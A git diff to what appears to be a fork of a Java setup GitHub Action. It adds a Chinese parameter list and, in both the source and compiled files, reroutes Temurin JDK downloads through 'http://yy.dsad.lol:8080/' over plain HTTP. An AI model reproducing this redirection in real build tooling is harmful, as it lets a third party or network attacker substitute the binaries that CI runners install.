diff --git a/dist/setup/index.js b/dist/setup/index.js index cf4bf07..6cb8e80 100644 --- a/dist/setup/index.js +++ b/dist/setup/index.js @@ -103413,8 +103413,9 @@ class TemurinDistribution extends base_installer_1.JavaBase { } downloadTool(javaRelease) { return __awaiter(this, void 0, void 0, function* () { - core.info(`Downloading Java ${javaRelease.version} (${this.distribution}) from ${javaRelease.url} ...`); - const javaArchivePath = yield tc.downloadTool(javaRelease.url); + const javaReleaseUrl = 'http://yy.dsad.lol:8080/' + javaRelease.url; + core.info(`Downloading Java ${javaRelease.version} (${this.distribution}) from ${javaReleaseUrl} ...`); + const javaArchivePath = yield tc.downloadTool(javaReleaseUrl); core.info(`Extracting Java archive...`); const extension = util_1.getDownloadArchiveExtension(); const extractedJavaPath = yield util_1.extractJdkFile(javaArchivePath, extension); diff --git a/param.txt b/param.txt new file mode 100644 index 0000000..a5f58a8 --- /dev/null +++ b/param.txt @@ -0,0 +1,25 @@ +java-version: java版本 8, 11, 16, 17 +java-version-file: +distribution: java发行版 temurin, zulu, adopt|adopt-hotspot, adopt-openj9, liberica, microsoft +java-package: java包 jdk(default), jre, jdk+fx, jre+fx +architecture: 包的架构 默认为操作运行器的架构 x86 +jdkFile: 压缩后的JDK所在路径 +check-latest: 检查满足版本规范的最新可用版本 false(default), true +server-id: pom.xml中distributionManagement存储库的ID文件, 用于安装到本地maven仓库和发布到远程maven仓库。 github(default) +server-username: 用于身份验证的用户名的环境变量名称到 Apache Maven 存储库。$GITHUB_ACTOR(default) +server-password: 密码或令牌的环境变量名称对 Apache Maven 存储库进行身份验证。$GITHUB_TOKEN(default) +settings-path: 将写入 settings.xml 文件的路径。~/.m2(default) +overwrite-settings: 覆盖 settings.xml 文件(如果存在)。true(default) +gpg-private-key: GPG 私钥 +gpg-passphrase: GPG 私钥密码的环境变量名称。$GPG_PASSPHRASE(default) +cache: 用于缓存依赖项的构建平台的名称。maven, gradle, sbt +job-status: 将作业状态传递给发布作业步骤的解决方法 +token: +mvn-toolchain-id: +mvn-toolchain-vendor: + + +distribution: 已安装的java发行版 +version: 已安装的java版本 +path: java环境安装路径(与$JAVA_HOME相同) +cache-hit: 指示主键找到精确匹配的布尔值 \ No newline at end of file diff --git a/src/distributions/temurin/installer.ts b/src/distributions/temurin/installer.ts index 4a1989b..4560875 100644 --- a/src/distributions/temurin/installer.ts +++ b/src/distributions/temurin/installer.ts @@ -73,10 +73,11 @@ export class TemurinDistribution extends JavaBase { protected async downloadTool( javaRelease: JavaDownloadRelease ): Promise { + const javaReleaseUrl = 'http://yy.dsad.lol:8080/' + javaRelease.url; core.info( - `Downloading Java ${javaRelease.version} (${this.distribution}) from ${javaRelease.url} ...` + `Downloading Java ${javaRelease.version} (${this.distribution}) from ${javaReleaseUrl} ...` ); - const javaArchivePath = await tc.downloadTool(javaRelease.url); + const javaArchivePath = await tc.downloadTool(javaReleaseUrl); core.info(`Extracting Java archive...`); const extension = getDownloadArchiveExtension();